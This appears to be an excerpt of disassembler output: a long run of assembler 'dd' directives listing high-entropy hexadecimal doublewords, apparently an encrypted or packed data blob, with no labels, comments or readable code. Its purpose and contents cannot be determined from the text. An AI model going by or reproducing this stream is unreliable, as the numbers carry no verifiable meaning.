		dd 824F19F9h, 0E5A1DA82h, 0E060B753h, 5BBED84Ah, 2314094Fh
		dd 92DFF7E4h, 0A5F641D7h, 8071353Ah, 0CC6AC42Dh, 0C3315B13h
		dd 0B619EACBh, 20D7475Ah, 6E0DEF2Ch, 1206DF6Dh,	5F57E0E3h
		dd 1E4A5E80h, 3BF25DBAh, 0AC69DE93h, 36E90B8Dh,	830959D9h
		dd 120F0B6Dh, 78C52C00h, 0E94A59B7h, 8F7A9582h,	0EEC0E395h
		dd 4D4D7E7Dh, 355BE738h, 44071D6Dh, 0C2516408h,	70E0074Fh
		dd 60BD1468h, 828E6F7Eh, 3A013AC1h, 4F7E04F0h, 3C4EC0AEh
		dd 610B4E44h, 5138AA68h, 27A1829Eh, 47637AC7h, 7071FFFDh
		dd 0AA0470B5h, 50593100h, 2C3404B0h, 960F6E3h, 24DBB2BDh
		dd 7EB83C34h, 0E1E957E0h, 53F9449h, 23EF0E65h, 762CEEEh
		dd 674E632Fh, 5F383CBh
		dd 0C6D400ACh, 22E30D5Eh, 0F05EAEE9h, 0C9ABA275h, 17B53B86h
		dd 0D45B1738h, 0DC9BAEA1h, 5F1BE909h, 123F8067h, 22EF8B53h
		dd 0F060CC7Bh, 59BD4C32h, 5991E2B6h, 0D7EBB904h, 0A5823955h
		dd 0B866FC44h, 90051C9Fh, 5489BFEEh, 6830EA6Eh,	0A9C5A3F1h
		dd 80B46074h, 0D3215DEAh, 2D4B6C9Dh, 684461E9h,	0CF37ED14h
		dd 8013259Ch, 1AF1BD2Bh, 553D277Ah, 0BCE41C0Bh,	27F23820h
		dd 58FC6768h, 20BB056Fh, 1FFA49EEh, 0E92D89C6h,	40A3D601h
		dd 0FEC13337h, 0F489B5h, 0C81F3E1Ah, 1CE91618h,	0CFB0A9D6h
		dd 0FB3D84C7h, 39B65200h, 844FEE80h, 2C127AACh,	68FD0F60h
		dd 0B80BF765h, 37286FD4h, 0C18E4FBAh, 28C5C6C3h, 612F327Ch
		dd 0B23E65Fh, 841FE910h, 6FA221E4h, 309D1C70h, 0BCEACEF9h
		dd 9FA3821Dh, 3BF4B626h, 0E8C67425h, 4BD364B6h,	56907F47h
		dd 7C2D028Ch, 6753DC57h, 0BF0E84E9h, 40B88E8Ch,	0C87FFE17h
		dd 9C926627h, 997B9FA8h, 0A5FAB03Ah, 3D59E4F6h,	0E971A08h
		dd 2B0EC97Ah, 4C78F3F2h, 0AF0620E3h, 0DA54EC76h, 272E2598h
		dd 9CA47528h, 75E94704h, 4F0151B0h, 683A206Ch, 46942050h
		dd 3BC7762h, 0F2801625h, 23092D2Fh, 568D3BA7h, 0FBB8B9D7h
		dd 0E90BE048h, 0F7C9D40Bh, 0D4EFF03h, 4BF4432Ch, 0FA055357h
		dd 0E72EF239h, 6F081084h, 3AF0592Dh, 0FE4746BDh, 2FB5B63Bh
		dd 8E8387D4h, 0EB0EDC5Ch, 6EB9CC18h, 0D810AFDCh, 48457AFh
		dd 17124086h, 3E75A043h, 2B941555h, 926A48A1h, 64F45B49h
		dd 38728960h, 3CF2FE9h,	9326A3C6h, 2612787h, 0EB2CA368h
		dd 1F2D74D4h, 0D1993836h, 828CD9C9h, 518630A0h,	0E90DBD85h
		dd 43D8D3B0h, 4A469F02h, 0DE80E922h, 0AE710B2Dh, 9E273F5Bh
		dd 581D9E75h, 24AE883h,	2657B613h, 0CEC434A2h, 0CB041661h
		dd 92CC7869h, 12E82FC1h, 0BEF356E3h, 5C0B38B6h,	0E66C5E68h
		dd 56D7201Eh, 5BBA5203h, 0DA4B660Bh, 1A1ED626h,	0AB7F9E5Fh
		dd 0FE310954h, 9A0CB067h, 0AEB8AC0Ch, 4250C330h, 5A233499h
		dd 0D17FF062h, 60E060BDh, 74F75C4Ch, 27D9C702h,	405D767Dh
		dd 97574734h, 8319ABAAh, 4320D11Eh, 6040E988h, 0BDFEDB97h
		dd 0EB7D5197h, 8E081835h, 99B901D2h, 2B60D435h,	0C2D2AA87h
		dd 0E403F4F3h, 9050FF5Ch, 0F5721020h, 0B5EF800Fh, 0F8286221h
		dd 0AD82D22Ch, 900979DDh, 1EBCC194h, 58416972h,	1DF2E0F1h
		dd 31219D26h, 4F269E10h, 0FDF00717h, 0C009F4EBh, 0DE6D2D84h
		dd 212FDD7Dh, 1D8530C7h, 0CF98BF95h, 0ABB1FAC8h, 0BF0C8346h
		dd 137AF204h, 9E467BEh,	55ED4468h, 0B7F39897h, 0F8C2F7C5h
		dd 0D69A901Bh, 0B461304h, 13084707h, 50E700D9h,	0CC8009B4h
		dd 0F409A273h, 0F8B9E95Fh, 0BD584F1Bh, 0D801F06Bh, 0A4A4EEE9h
		dd 97EF48DBh, 66C1F26h,	0E4ECC9E4h, 0D4E9F21Ah,	0A778F4C5h
		dd 0ED2FEE5Ch, 16D008D7h, 4824B81Ch, 0C3310C01h, 748B2158h
		dd 84795948h, 0F00FC9CFh, 0F9BF04DBh, 0A0656022h, 6C40DE76h
		dd 53D53988h, 5052EF8Eh, 1933F8EFh, 2AF314C6h, 955A65F0h
		dd 2705AD0Bh, 777DAB98h, 0CE58D820h, 10B68B1h, 0DEADF3FBh
		dd 0C66842BEh, 712F8476h, 0F16C9D7h, 841F1A6h, 0C7D1F8C9h
		dd 0E9DF0987h, 63EBBB9Dh, 0FBD03A6h, 0A47ECB6Fh, 0FCC708A6h
		dd 0F70C626Bh, 0E883D36Bh, 9297E612h, 0B7D040E9h, 9258B25Bh
		dd 39852A05h, 0BC00AFA3h, 0E933DF6Dh, 25B4E5E6h, 8205806Eh
		dd 3A321872h, 0ABFD6857h, 372C77Eh, 0F2855FB8h,	8555A4A3h
		dd 89605441h, 16221AD7h, 8FF4DC71h, 0FD2DC145h,	0C4BAE9D8h
		dd 0C2C8892Fh, 80504208h, 0B0B45352h, 0B7D792E9h, 70905E64h
		dd 124AFC0Bh, 0F56968D4h, 4CD9955Eh, 7847E942h,	595A2DCFh
		dd 577EA2E6h, 88C5F54Ah, 98E87EEh, 10B5D0F0h, 8173D9EEh
		dd 5D02FB8h, 9D58C529h,	0E91674CCh, 0E158A89Fh,	82601B56h
		dd 53440475h, 0F04EF86h, 0C04C0FEh, 4D6ED80Eh, 0FE8060C4h
		dd 9913E00Fh, 0E62E5FF0h, 0AA52C1Fh, 8B1A70A8h,	0C1C8E30Bh
		dd 4E0309C3h, 3E80F1B1h, 2468A9DCh, 0DA6644CEh,	17AE6761h
		dd 40079FB0h, 9668163Dh, 192DF379h, 0C5278B8Eh,	0D80BB56Fh
		dd 76241AEDh, 0B11F5007h, 2C5A76A0h, 45566D4Fh,	2DCC81C1h
		dd 0F71F609Bh, 9065CE9Fh, 10DC01D7h, 33E94951h,	0A58A3A9Fh
		dd 0A2E82912h, 685B811Bh, 0E33B226Ch, 1564052Bh, 82535788h
		dd 5E96DEB4h, 26F331C3h, 0EA280153h, 73FACFDh, 0F296BE65h
		dd 48D711A8h, 0C9FEC9CAh, 43FAC6B1h, 4FE40CD3h,	54169F5Dh
		dd 4991D24Eh, 680052F2h, 0E7976710h, 0FC146470h, 0F6E85EC0h
		dd 27135A2Eh, 575FCEC8h, 27464B5h, 18F4F581h, 1A40730Eh
		dd 1A241938h, 84174003h, 0FCE37DC9h, 0A17EEEA1h, 0CA8E3004h
		dd 898CFD4Fh, 75C09AE7h, 980858C1h, 0C8B60870h,	4825217Eh
		dd 82F512F6h, 0FE1CC084h, 455CDCCh, 603EC8BDh, 1D828161h
		dd 0A7BF0399h, 2426A83h, 75248456h, 8E60F737h, 580F9ACh
		dd 0A7391493h, 2D28F822h, 0BE561F07h, 52ADFD33h, 0C22078FEh
		dd 4B0DDB16h, 0B7F6EB04h, 56452AC2h, 0AD2D16F0h, 1EAC4AA7h
		dd 0EF125CB3h, 0DBECBCB4h, 3014B5A0h, 280459F6h, 913FE9E3h
		dd 0D9E4CACh, 4810CC54h, 0B2A96B2Dh, 712F445Ah,	3051502Ah
		dd 0BD80FC5Dh, 2674124Ch, 7F0FC65h, 70B65AB4h, 434FCD60h
		dd 0E96917EEh, 0CAF75794h, 96D92F94h, 0F0332C3Ch, 6AEF7982h
		dd 884CED8Bh, 6D408027h, 377E5C0h, 8817ED07h, 0E20059EAh
		dd 9D694BE9h, 82B950A7h, 0AB089E6Eh, 0BD17541Eh, 1D425EB5h
		dd 0F85A04AFh, 98FAF5A2h, 5A4AD1D7h, 9785C988h,	0E62CB949h
		dd 57C4145Ch, 60229DAEh, 7782D855h, 0AE4D8700h,	0F3EE4B6Ch
		dd 6949B80Ch, 0DD92BE16h, 52FE8B93h, 0F10B6646h, 423D0C43h
		dd 0CA4A8076h, 0B720275h, 67F7E913h, 39094F51h,	412676E0h
		dd 2E02C083h, 1A331469h, 8150F41Ah, 4160E27Dh, 0CD3AACEEh
		dd 0DBCCE57Bh, 4F5B5D4Ch, 4761088Dh, 6FDD442Eh,	0C223D18Dh
		dd 0D8A70716h, 0BA3C146Dh, 1F36BE28h, 7D204783h, 8E55E724h
		dd 0AEFE5D0h, 0D756E8F3h, 0E840F2CAh, 0A6539D84h, 4C4A6885h
		dd 0E4BB72AAh, 0B2B0975Eh, 0C419DB68h, 0AC0C9845h, 0C5598F0Dh
		dd 67AB2ABBh, 63B6A2E2h, 0E913DB66h, 0C1417722h, 3A500C1Dh
		dd 13E7F120h, 0F5C5AFF3h, 0E2922B9Ch, 0A7666150h, 5A76BF00h
		dd 8171F200h, 0BA199BF7h, 6E7B9054h, 0C021201h,	4C60628Fh
		dd 0D6487DB3h, 1A3E2338h, 0D382C954h, 3102E8A4h, 2727D6F1h
		dd 0F411360h, 0CCA21F7Dh, 9B3A704h, 2AA4FF47h, 7266C607h
		dd 18B46709h, 54E20EFEh, 9C0093EFh, 16BB6C7Eh, 3C6BE653h
		dd 4DF2D06h, 0A35CC202h, 59F89396h, 47234487h, 5BCEF04Eh
		dd 6C0C9321h, 3AC68DE9h, 503931B6h, 70EC807Ah, 5802E60Ah
		dd 0B2528404h, 3E407FBCh, 2C77F028h, 0F2CBFF5h,	7A58E288h
		dd 93057B1Ch, 0D5518731h, 2E6C930h, 447838BDh, 7D545E53h
		dd 0A614F04Fh, 10DBF78Eh, 804F678Bh, 9700CF81h,	503AB37Ch
		dd 913A6B8h, 0C7293B23h, 1E42BCE0h, 5D55D425h, 1808F588h
		dd 574C1E5Fh, 0FB889926h, 98D3E906h, 87C56B57h,	3F39015Ch
		dd 6DBB93D5h, 162587B3h, 0E77F7042h, 4375A6FDh,	3913F894h
		dd 0A3F32877h, 825E84D7h, 6E56EF84h, 3A9FEA81h,	4B2E0BB8h
		dd 7B6884CFh, 2E147DF2h, 2D872BABh, 5865E4D9h, 82E715Eh
		dd 3A68101Eh, 52F85155h, 455064B0h, 0E0D05A12h,	98B676FBh
		dd 0F148F66Bh, 2C400E8h
		dd 5205E8C0h, 0DC51A2C5h, 2778CDA2h, 59A2B46Ch,	8F01B80Bh
		dd 5A604047h, 0D931804Eh, 0F1815B01h, 69BA4F9Ah, 5344E43Eh
		dd 2768BD40h, 36664896h, 2C52A9A2h, 7B405AB0h, 5B77EC47h
		dd 1224B77Ch, 8A25ED81h, 86969014h, 209ADD29h, 48EAFE5Ah
		dd 0AFB695C0h, 2483C680h, 0B6EF130h, 3DFE59CBh,	61B05000h
		dd 0B6B23CE9h, 0B8E46424h, 2A8F4BA3h, 543F444Eh, 79A3138Eh
		dd 179CA260h, 7ABD1EB2h, 0E908803Eh, 0EED052E5h, 553CF505h
		dd 422B807Fh, 35609857h, 125C5018h, 0D7092F46h,	9959A6D8h
		dd 5E552752h, 78070759h, 6803B2Bh, 50B6251Ch, 0B68D454Eh
		dd 0E5DAB03h, 0A22E018Ch, 48862C58h, 39A8B65Eh,	0BC665100h
		dd 5E0C117h, 558CE918h,	1810EF9Bh, 0C679045h, 9B645CF0h
		dd 0DF82CFCCh, 3D79FECAh, 0C8C5A2DEh, 8C1522Dh,	0A72C01B3h
		dd 0B6A08668h, 0CE12FE3Ch, 4CC51DE9h, 34BE98EBh, 0F3E903A0h
		dd 0DE201E96h, 0BECA6AACh, 0E9A01ED5h, 1701D340h, 0FEC381EBh
		dd 5FBC865Dh, 0E91792F9h, 0ACCD8107h, 7B9F4266h, 0BA9870FAh
		dd 0F6E9D267h, 0C00F0B7Fh, 772D5864h, 4826FC2Ah, 7419801h
		dd 69D1B03Ah, 0B5C61697h, 774BA051h, 0E918F200h, 19B4D5AEh
		dd 4E3FE6EAh, 1B5BDFCh,	0E217EB00h, 5DDE8F2Eh, 0C5161929h
		dd 0C3484BE4h, 223E136Ch, 66BD19Ch, 5A347A5Bh, 64F34E49h
		dd 6145B52Bh, 0FE93E962h, 0DEDB259Fh, 0BE02E925h, 0DBF6BC50h
		dd 11E32880h, 2AEA3AADh, 52E44D6Eh, 12A5A317h, 541C8063h
		dd 88D2F5C0h, 52CFE9EEh, 0EF938ADAh, 142A8F39h,	0D54CF288h
		dd 7FE6BDC0h, 45510978h, 0E5ED2AF3h, 0C58ED3DEh, 2B3DAF42h
		dd 0FE10022Dh, 7A681CFBh, 72A68AA9h, 0F4A7340Bh, 0DE04699Fh
		dd 0C292ECE2h, 0D76EA368h, 0EE56C931h, 5F015E10h, 0AED995F1h
		dd 568B418Bh, 0C9662CCh, 5EF8BC5Bh, 44F2112h, 14710E75h
		dd 31170F14h, 960490D2h, 0C009DD54h, 0B2FD00Fh,	1CAC1F4Ch
		dd 0A0485007h, 6CF82F01h, 874D7995h, 90659E9h, 89BA475Dh
		dd 0B4D0C4E9h, 38620302h, 0E66FE768h, 288AC0E7h, 0E975176Eh
		dd 37B1DAF0h, 2C626886h, 0BA7F2C69h, 389D4095h,	0CC10E28h
		dd 11B0013Bh, 0C74B2E60h, 9270ED23h, 82DF27A8h,	3D5797Ch
		dd 0B8BAEAD1h, 90F8FDC6h, 51DE800h, 188903DDh, 0E431F129h
		dd 88FE0814h, 964EE9EEh, 0D5873E06h, 3B6F7440h,	0C7008407h
		dd 39C27131h, 759A9EE9h, 25A62BCh, 579A3D25h, 6818229Ch
		dd 85F77902h, 30AD81E6h, 925ECEBAh, 4F8C38A2h, 0C65A4B50h
		dd 75EFF874h, 19CABA1Eh, 3454454Bh, 0BBAF259Dh,	0B4B23FD7h
		dd 69D47496h, 292C0214h, 35407C6Eh, 0A0510D38h,	4E630785h
		dd 0C5DE1EBDh, 0BF93CA9Bh, 60E9E6C0h, 697394ADh, 5E4FFCF2h
		dd 4D799ACh, 146A2974h,	753A7275h, 174FFBE4h, 0FD88C709h
		dd 832BC039h, 5D8293Fh,	66E880EBh, 8842B15Bh, 0BA24F42Dh
		dd 9305070Bh, 7BD2A8FDh, 0F74F135Ah, 0F126EAD0h, 0C7362034h
		dd 4FC3801Fh, 34302BA6h, 7B7FF681h, 29FE1310h, 848CEDF1h
		dd 77E4A0BCh, 89B140A1h, 1203969Fh, 0BC7EC868h,	0E030D3E2h
		dd 50F787FEh, 77DEAB5Eh, 0B6BE530h, 33045193h, 0F32DA88Fh
		dd 551D00A3h, 0F9478268h, 88905D5Eh, 0E4D85650h, 6D130200h
		dd 0BA54BDBEh, 0FE310020h, 5EEC15Fh, 4648DEF7h,	4ED100F5h
		dd 0F5091D39h, 0E86930E9h, 2C48F273h, 0DC70CD2Dh, 2B68410Ch
		dd 0E50E2475h, 87D4B241h, 96F69C49h, 0B068F814h, 0BDD3E8E9h
		dd 0CD208446h, 886814C3h, 4D28E23h, 0BFCE76B7h,	0E1804F61h
		dd 5184ED32h, 292788B9h, 0B0B9CD4Eh, 0BA4C4385h, 0E917298Ah
		dd 0C1E5455Ah, 0C2F6C3EAh, 6EDE46C1h, 2FE916B0h, 804EA2AAh
		dd 0DB4C105Fh, 50EB12h,	1E152D68h, 0F00D5852h, 6088220Fh
		dd 8B94AAE9h, 48FC88h, 0A33857BFh, 0CF07815Ch, 560C2141h
		dd 0EF80F763h, 0EFE96480h, 0D31ABDCDh, 9EA4CDDEh, 56D9EA2Dh
		dd 0CA08165Dh, 0A2BC6D7Ch, 0FE7F652Ah, 90EFBED4h, 1620A71Eh
		dd 8601132Ah, 830C6CD0h, 25A2E95Eh, 0E5758B5h, 0BA04662Bh
		dd 0A6D8580Ah, 0EFA98A30h, 0BC1D0873h, 0F6A8015Fh, 1C050883h
		dd 79C1724Dh, 68E791FFh, 0B3853FD4h, 0AAB557ACh, 0BC719944h
		dd 5C3062F2h, 2990BA8Dh, 0E281D1A0h, 0BE5BC10Eh, 0D6CAC069h
		dd 13165E3Ch, 4359B7E9h, 7134C8Eh, 0AB28C5D5h, 0D8825594h
		dd 0FE89039Fh, 0EEF3B232h, 0D66557ECh, 14E83118h, 1D6880D4h
		dd 0AB8705Eh, 0A4D20CD2h, 2841F11Dh, 0AC9AB1E8h, 70D6F725h
		dd 31719F3Dh, 71B8E662h, 9B3D8840h, 52575A03h, 663FA75Fh
		dd 5E17D0C9h, 0D213B221h, 0E90E7303h, 12B16783h, 8181B480h
		dd 20CB305Ch, 1817BD4h,	22FAFCA4h, 0C8585B96h, 2880B916h
		dd 0D661BDD0h, 5A0D96D1h, 0FE6201E3h, 0BD00F733h, 5016726Ah
		dd 95A1BF1Dh, 0B56263DCh, 122D009Eh, 0D4E1144Dh, 220219D7h
		dd 0E9C12994h, 7DBA6A15h, 58D9661Bh, 8B412A60h,	4A1743E3h
		dd 0B7CDFBECh, 1942D36Ch, 0BE474916h, 0ED206939h, 0BFD24016h
		dd 786DF200h, 0D1BA5247h, 70822C21h, 28FA3D86h,	5E837BDAh
		dd 5B0AA2F8h, 101BFA8h,	0BF074214h, 310B8705h, 75CB5DEFh
		dd 840BFB2h, 762F1315h,	80E7FE5Bh, 489ED305h, 0ED30E9FAh
		dd 420F89C6h, 0F928508Fh, 0F2B18B76h, 740CA5EEh, 0C701098Ah
		dd 15D39186h, 454BDF77h, 2997A8E2h, 0EEB82A08h,	915ED192h
		dd 58950799h, 40DB0C81h, 513022C5h, 0C66695AFh,	95EF9C20h
		dd 2C3DD6D9h, 0BFA8A890h, 5D6EEB01h, 0C3014B03h, 8199044h
		dd 0B6018C3Ch, 0FF51DD8Fh, 1B903774h, 0B77DB420h, 0AF1C988Fh
		dd 40E3EF49h, 4F2FE6C9h, 9BE4267Dh, 0EE682BC2h,	603D5654h
		dd 21D95EB0h, 394E09Dh,	78F61Fh, 0C1D6F746h, 0EE8107E6h
		dd 6DC2EBEDh, 0FD886EC3h, 62B79A7Fh, 400A40FAh,	3A130A05h
		dd 287DBF7h, 0BEAD9E7Ch, 897A605Fh, 0A0BEBBDDh,	2D47BFF7h
		dd 0F81227A6h, 0E7477D71h, 7877A32Bh, 0BEC690BFh, 0DE719D4Fh
		dd 5D92D88h, 0C1CE8852h, 7290CC24h, 3C8248C8h, 5489CAD0h
		dd 0B45B0220h, 0AEBA8845h, 0E9421C44h, 0FD4D1F0h, 0ECF2D3CBh
		dd 0CE696815h, 504D5712h, 4592E904h, 2FAD7ED1h,	257DB063h
		dd 107F4C93h, 925AF752h, 6BE50958h, 408642Ah, 0E1FC3DCAh
		dd 12928E6Bh, 170A8AB5h, 57C9ABF2h, 961CC8Bh, 0E03AFD50h
		dd 94979A0Bh, 7CEB67BFh, 0FC2D4822h, 0C4F453D2h, 4087953Fh
		dd 4522EB09h, 0C3FA3A6Bh, 0AAF9A4C6h, 64EF27E5h, 80966098h
		dd 648EE30h, 0F0C6FE1Fh, 964459F6h, 1975043Dh, 0AB151D8h
		dd 3D7331C8h, 2CE60703h, 0CF93C70h, 18981057h, 0C656227h
		dd 0B8064F34h, 0ED32E92Dh, 3FEE0433h, 0ABFDCCA5h, 50FA8F4Eh
		dd 0BB576612h, 0C4D40323h, 7C10AC14h, 16CD4ADFh, 8704826Ah
		dd 0F71580A2h, 2801BB0Ah, 425C9B7Fh, 295E620h, 0E9474514h
		dd 1BDD8F62h, 0CAC2FD1Dh, 0ADD00BDBh, 0C34812C4h, 3BA2BE01h
		dd 5F5820A7h, 74AB05E3h, 1969D08h, 7FFD77E8h, 38AB9175h
		dd 2591D26Ah, 1A50CF05h, 0EF0780EBh, 98244DD1h,	0C507CF30h
		dd 89B5472Eh, 76129209h, 76685A68h, 0D582F274h,	0CC863A4Ah
		dd 0C69F8D6Fh, 5C862004h, 78C32507h, 0A5A21470h, 8882DEC9h
		dd 61504475h, 0C160826Dh, 0D97528A1h, 8B5BD5F7h, 0D7885E12h
		dd 34E451Ch, 0FE6297D7h, 0C6D5FA0h, 0C8DA7E25h,	0DADE2794h
		dd 499FE958h, 72480AF0h, 0B8666205h, 3A882D3Ah,	1AEEC50h
		dd 639C3942h, 526A75E9h
		dd 0D6DAE2D3h, 0B45E94B8h, 544CBE60h, 0F383D651h, 4961F943h
		dd 0F493435h, 20A1E4EAh, 8003FEE3h, 0F828ABC7h,	613FF25Bh
		dd 0E0D22C0Bh, 0E0D9B642h, 0FF39B8F0h, 24B80500h, 9F4BD77h
		dd 542FFD94h, 1A43C7F1h, 6102807Bh, 0EFD1458Ch,	0F29515Ch
		dd 0E0F67610h, 412DD0F7h, 2CA10314h, 7A35E0D1h,	56BB0E0h
		dd 0FD602724h, 0B936873Ah, 7722F6E9h, 473A9FFh,	2902EE6Fh
		dd 0E25D59CBh, 82487DF8h, 0FB1F8FF6h, 77D3E31Bh, 68B842FBh
		dd 75665088h, 74595427h, 62DFDA83h, 18E4FFACh, 78EEE919h
		dd 1ADDC377h, 7FB15B7Eh, 654608F9h, 0A31F2087h,	20CF5734h
		dd 0FC130B0h, 7864212Bh, 0AE7DE9EBh, 95E1A412h,	3A1469ABh
		dd 0FFD6DAB2h, 3A23DA65h, 37EEDC92h, 9458F95Dh,	83CB639Eh
		dd 48CF7FBDh, 55584ECBh, 1D0CE8Eh, 771DE381h, 3E813551h
		dd 0DCDD0DE4h, 16010331h, 8F229F0h, 2B2CB398h, 2590EC25h
		dd 31F6DCE4h, 0EA25E5C8h, 2FE6815Ah, 0F5EF433Ch, 5DCE5FA1h
		dd 0FC4611E1h, 2BDDCCE5h, 0E70D7943h, 5A1CD913h, 0FB8F252Fh
		dd 2D2E557Dh, 530EAFECh, 0B45EB36h, 0E716D7A5h,	0FE41CB20h
		dd 1B8BF34h, 2D4E1A68h,	4E10A7B3h, 0F63A63DBh, 7EF57C70h
		dd 1E13B773h, 3730F4FCh, 7E2FAD94h, 0B0D55AF9h,	0B4AFE9FDh
		dd 1ABD002Fh, 8139544Ch, 3001F504h, 54C3536Ch, 95E63DE7h
		dd 6114E927h, 0B720C695h, 2F09B351h, 7AB1E978h,	5413746Ch
		dd 0A1E8F85Bh, 1E2496E9h, 2DF02601h, 795E4515h,	0E071A7A2h
		dd 4CE0D384h, 0B77F4F91h, 0A0D257DAh, 0E66BBF2Dh, 9C253Dh
		dd 77CB2DCCh, 2DB07A02h, 0CD449D79h, 5A2ADC09h,	35287D49h
		dd 5AAD2408h, 8B96B0F5h, 35E6B555h, 0F45A3BA9h,	3BBF40CFh
		dd 0A539D9AFh, 92C1356Fh, 212501E3h, 0A0AA51AAh, 0CA6EE9C3h
		dd 585A3802h, 82874C88h, 52CE84D2h, 0A9CF7B5Ch,	343D512Dh
		dd 0B0EF982h, 96F32B40h, 0B0002EB9h, 0C149730Fh, 0ED085BE2h
		dd 3A307BBh, 616F13CAh,	0DA428BBh, 786052Fh, 508CA7Fh
		dd 33AC6858h, 53E2E098h, 0A24ACF7Bh, 447C1241h,	0F2B80057h
		dd 0FD67C99Eh, 6217B2FDh, 48A298Eh, 95C00699h, 3C2E6472h
		dd 0EC4A6844h, 0FFB8C057h, 1367AA65h, 20A001E9h, 4B4CC809h
		dd 6C0C5060h, 9036A645h, 9661F72h, 0AEE904A0h, 0C9019484h
		dd 0A37FD6h, 8A1C3F35h,	4AE43E1Fh, 5CB9A131h, 0A531672Ah
		dd 6B84A123h, 0C0A8787h, 18BA4B27h, 0AB4553F4h,	32169FC7h
		dd 0D5F1B314h, 9D5DA2F8h, 0AACEF098h, 95F02980h, 4A08EADCh
		dd 3ED32C8Ah, 5609ED20h, 76536068h, 1226E76h, 96FC1BBEh
		dd 0A7B4E901h, 0E27BA151h, 5A7D7AB8h, 0DAE85B9Ch, 68E1F740h
		dd 31485B5Dh, 2C90DC6Bh, 68578192h, 0A32F4FCCh,	244E276Ch
		dd 98AEE01Eh, 5D4BE834h, 9EF8DB99h, 626C2BE9h, 0AA211243h
		dd 444A3DCAh, 0FCEACAEh, 713EAB68h, 0EA8C8BC6h,	0BBBC98D9h
		dd 0C3DC5444h, 3DA52181h, 0DCA6727Eh, 2EF6C112h, 81917850h
		dd 2B107154h, 68831AB6h, 35123FBCh, 6C9D6CF5h, 0B8DE26EDh
		dd 0B370C00Bh, 895D1E80h, 0EC68F56h, 8B50DF2h, 298B9E50h
		dd 0E2D5FEC6h, 0B46C0588h, 5BAABE25h, 0EB7AC75h, 18456896h
		dd 0F0B8C74Fh, 351A06F7h, 0CF716376h, 78F07E12h, 0FDB5B01h
		dd 0D7F84414h, 522C002h, 58DD71BFh, 62F58E97h, 0A980E9F9h
		dd 821857F4h, 5E6C0E3h,	0AD2EF3FCh, 173E0520h, 0A8B189EEh
		dd 0F6215F3Ch, 0D6A22C0Eh, 7C39CC1Dh, 549819F0h, 0C42AB741h
		dd 1FCAEE8Bh, 483E1F10h, 0C8EA2F95h, 4EC22927h,	3386AC53h
		dd 790921E4h, 0D3634B82h, 17B0C6F3h, 967C2E88h,	19A55E30h
		dd 0F86E4EEh, 0F589FDA3h, 0EC672CA4h, 7C5C8BAEh, 77BA5853h
		dd 0F8620502h, 0C4D864E9h, 583D32D9h, 6B7FC257h, 0FEC5CFBDh
		dd 5E5F8292h, 126805C7h, 0BADF3464h, 0ED4B92B3h, 0B0E9823Fh
		dd 18B0F5D8h, 0B99560C8h, 108BE69h, 250EF158h, 0C4A5D492h
		dd 6A93B168h, 0AFB426B2h, 80AE639Ch, 6354A368h,	0B404503Dh
		dd 0ABA9E932h, 5302E48Ah, 89484268h, 0D45B6840h, 2559CA88h
		dd 0E990525Fh, 8993EB33h, 0DC2D963Ch, 5F5D7222h, 114120Eh
		dd 0D0D3C0AAh, 617507D4h, 568085Ch, 715FE0D5h, 5DDA10C6h
		dd 0DC702008h, 20C0AB20h, 1208A0Ah, 93772082h, 20B2C220h
		dd 0F920F4D1h, 74222064h, 20BCBE20h, 0CB20C6E6h, 0FDEE20B9h
		dd 3A69DB63h, 6C2920D2h, 98087C31h, 0C3034EF8h,	0AA2EB910h
		dd 8F56018h, 0E281FB4Bh, 31B906D6h, 2046D120h, 842070CEh
		dd 0D18A6267h, 5206D94Ch, 0AF592019h, 2065DE20h, 0C620A97Eh
		dd 0E0A320ECh, 98C44070h, 0A104A616h, 63990494h, 5149430Ch
		dd 4128CD40h, 172F9E2h,	0B801EB3Dh, 13088CB4h, 0C4B55001h
		dd 4C86E89h, 340A7E9Ch,	0B94799A0h, 0DDC45143h,	999601FAh
		dd 462E801h, 9708AD18h,	887D81CBh, 8AD8C61h, 100CA850h
		dd 0C855F152h, 0B31581A9h, 6EA3108Ch, 10EFA610h, 3310C7D3h
		dd 0A946318Ch, 0B0034A5Dh, 8806512Ah, 20A27920h, 9179E553h
		dd 806B4C80h, 0B806A68h, 517E81E7h, 19F36ECh, 0FA019BD1h
		dd 0A43902A1h, 589318C8h, 0EFA110AAh, 0BA6510D6h, 1CA90133h
		dd 6840F17Eh, 27FD401Fh, 40F7CA40h, 0F3404870h,	0C2B8A80Ah
		dd 0E31E80C6h, 80977C80h, 0A480E843h, 51788188h, 907390A4h
		dd 0AA31D2C9h, 35F9169h, 5C711067h, 748B1077h, 33E28210h
		dd 10FAD1D3h, 378009B9h, 0C0AA2977h, 69A75F8Ch,	9C9E805Eh
		dd 0B051A981h, 0CC01820Fh, 0A90C0760h, 2BBB40B4h, 40C7DD40h
		dd 4F408746h, 69C9C4FFh, 8E740465h, 0E176B706h,	66CBBD40h
		dd 0D1E18199h, 40E6DA40h, 5740E059h, 0FCC8A9C0h, 81A0E051h
		dd 10AF7990h, 0FA10D8FDh, 0DB8810B3h, 10566F10h, 0EE2AFBC3h
		dd 0D7FD32F0h, 0A502DE51h, 44360549h, 139385ACh, 8808F31Ah
		dd 81B1DC83h, 2003DC66h, 5378F919h, 0F001EA79h,	0A2F302F1h
		dd 3BE8E90h, 0B920F882h, 9C60097Eh, 0A492E8FCh,	0D60A4854h
		dd 0C79EEB44h, 41EE1039h, 2C473B00h, 13EB0275h,	0B90E8963h
		dd 353D58A7h, 8F440100h, 0C90B4940h, 0DF77524h,	43A5826h
		dd 0B9F003DEh, 7833B2B4h, 0B10F0CC0h, 0AC2C304Fh, 66E52C02h
		dd 55015168h, 0BDB313C8h, 0D4CC042Fh, 0E9083A77h, 0E02FA1FBh
		dd 81C211C2h, 0C6C1F557h, 94CC657h, 256750Bh, 0E967487Fh
		dd 16F59C49h, 26BAC5Bh,	0E0795CC3h, 960B5F89h, 50FAF040h
		dd 0E90A9F04h, 0E4AA340Bh, 0F69556FEh, 2F40C948h, 120140F3h
		dd 20B62544h, 37E6D3Fh,	72D1E968h, 0DE5C402Fh, 0FF888963h
		dd 0A94FA4F9h, 0C29A5402h, 0E7671E9h, 30287225h, 0F5E12E69h
		dd 282D05DDh, 0C3ADE3Fh, 0F11B40A6h, 644C370Bh,	7D3E6269h
		dd 334D4540h, 635D5Ch, 7E3E624Fh, 60E9D2F7h, 0BF575384h
		dd 0B124506Eh, 6C180270h, 95F8290Dh, 52524CDCh,	35894B89h
		dd 7FAE8073h, 81024911h, 0EB2A1EE1h, 0C790803Ch, 46DAA3Eh
		dd 6F598405h, 0D04006Ch, 7DF74E67h, 60A30763h, 0E2310735h
